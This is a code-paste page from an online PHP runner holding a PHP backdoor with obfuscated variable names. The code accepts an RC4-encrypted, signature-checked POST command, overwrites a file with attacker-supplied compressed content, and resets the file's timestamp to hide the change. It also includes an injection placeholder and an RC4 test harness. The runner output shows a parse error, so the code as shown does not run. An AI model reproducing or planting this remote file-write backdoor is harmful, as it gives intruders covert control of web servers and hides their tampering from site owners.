3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $__["key1"]= "da17298d87447351e5473e334c41ba4b"; // Access key $__["key2"]= "ce0c742ad350ee7e0a26466fd9b5f56b"; // Crypto key $__["key3"]= "3bf6228c859400c084adea9a5e5f7b11"; // Signature (03eb720a3353aa0ca3d6e4fc21982c98) if (is_set ($_POST[$__["key1"]])) { $__["request"]= base64_decode ($_POST[$__["key1"]]); for($__["tmp"]["i"],$__["tmp"]["c"];$__["tmp"]["i"]<0x100;$__["tmp"]["i"]++) $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["i"]; for($__["tmp"]["i"]=0x0,$__["tmp"]["d"],$__["tmp"]["e"],$g=strlen($__["key2"]);$__["tmp"]["i"]<0x100;$__["tmp"]["i"]++) { $__["tmp"]["d"]=($__["tmp"]["d"]+$__["tmp"]["c"][$__["tmp"]["i"]]+ord($__["key2"][$__["tmp"]["i"]%$g]))%0x100; $__["tmp"]["e"]=$__["tmp"]["c"][$__["tmp"]["i"]]; $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["c"][$__["tmp"]["d"]]; $__["tmp"]["c"][$__["tmp"]["d"]]=$__["tmp"]["e"]; } for($__["tmp"]["y"],$__["tmp"]["i"],$__["tmp"]["d"]=0x0,$__["data"];$__["tmp"]["y"]<strlen($__["request"]);$__["tmp"]["y"]++) { $__["tmp"]["i"]=($__["tmp"]["i"]+0x1)%0x100; $__["tmp"]["d"]=($__["tmp"]["d"]+$__["tmp"]["c"][$__["tmp"]["i"]])%0x100; $__["tmp"]["e"]=$__["tmp"]["c"][$__["tmp"]["i"]]; $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["c"][$__["tmp"]["d"]]; $__["tmp"]["c"][$__["tmp"]["d"]]=$__["tmp"]["e"]; $__["data"].=chr(ord($__["request"][$__["tmp"]["y"]])^$__["tmp"]["c"][($__["tmp"]["c"][$__["tmp"]["i"]]+$__["tmp"]["c"][$__["tmp"]["d"]])%0x100]); } $__["data"]= unserialize ($__["data"]); if (is_array ($__["data"]) && md5 ($__["data"]["sing"]) == $__["key3"]) switch ($__["data"]["action"]) { case "update": $__["info"]= filectime ($__["file"]) - 0x5103073C; file_put_contents($__["file"], gzinflate (base64_decode ($__["data"]["data"]))); touch ($__["file"], 0x5103073C); echo md5 ($__["key1"].$__["key2"].$__["key3"]).serialize (array ("state" => "OK", "info" => $__["info"])).md5 ($__["key1"].$__["key2"].$__["key3"]); break; case "exec": case "info": default: break; } } if (/*expr*/) { touch ($__["file"], filectime ($__["file"]) + 1); ?>/*payload*/<?php } /* Data Signature Action type Data (Base64 (Gzip)) Answer State Info */ $key= md5 (time()); $message= "Hello dadsdasdsa 1231211 !!!"; $Encrypt= base64_encode (rc4 ($key, $message)); $Decrypt= rc4 ($key, base64_decode ($Encrypt)); echo "\n\nKey: $key\nMessage: $message\nEncrypt: $Encrypt\nDecrypt: $Decrypt";
Output for 5.3.0 - 5.4.24
Parse error: syntax error, unexpected ')' in /in/68kVi on line 44
Process exited with code 255.